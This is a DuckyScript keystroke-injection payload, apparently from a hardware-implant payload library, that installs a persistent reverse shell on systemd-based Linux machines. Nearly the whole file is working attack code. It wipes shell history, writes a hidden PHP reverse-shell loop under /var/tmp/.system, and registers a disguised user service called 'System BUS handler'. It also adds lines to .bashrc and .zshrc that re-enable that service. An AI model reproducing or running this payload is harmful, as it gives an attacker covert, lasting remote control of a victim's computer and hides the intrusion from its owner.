omg-payloads/payloads/library/remote_access/persistentReverseOMG/payload.txt

57 lines
1.8 KiB
Plaintext

REM Title: persistentReverseOMG
REM Description: persistentReverseOMG provides you persistent reverse shell remotely/locally.
REM AUTHOR: drapl0n
REM Version: 1.0
REM Category: Remote Access
REM Target: Unix-like operating systems with systemd
REM NOTE: Replace IP address(0.0.0.0) and port number(4444) with your servers IP address and Port Number.
DELAY 2000
CTRL ALT t
ENTER
DELAY 4000
STRING bash
ENTER
DELAY 400
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
ENTER
DELAY 100
STRING mkdir /var/tmp/.system
ENTER
DELAY 100
STRING echo -e "while :\ndo\n\tping -c 5 127.0.0.1\n\tif [ \$? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",4444);exec("\"/bin/sh -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
ENTER
DELAY 100
STRING chmod +x /var/tmp/.system/systemBus
ENTER
DELAY 100
REM [creating non-root systemd service]
STRING mkdir -p ~/.config/systemd/user
ENTER
DELAY 100
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
ENTER
DELAY 100
REM [enabling service]
DELAY 200
STRING systemctl --user daemon-reload
ENTER
DELAY 200
STRING systemctl --user enable --now systemBUS.service
ENTER
DELAY 200
STRING systemctl --user start --now systemBUS.service
ENTER
DELAY 100
REM [autostarting service on terminal/shell launch]
STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\nfi\n\n" > ~/tmmmp
ENTER
DELAY 50
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
ENTER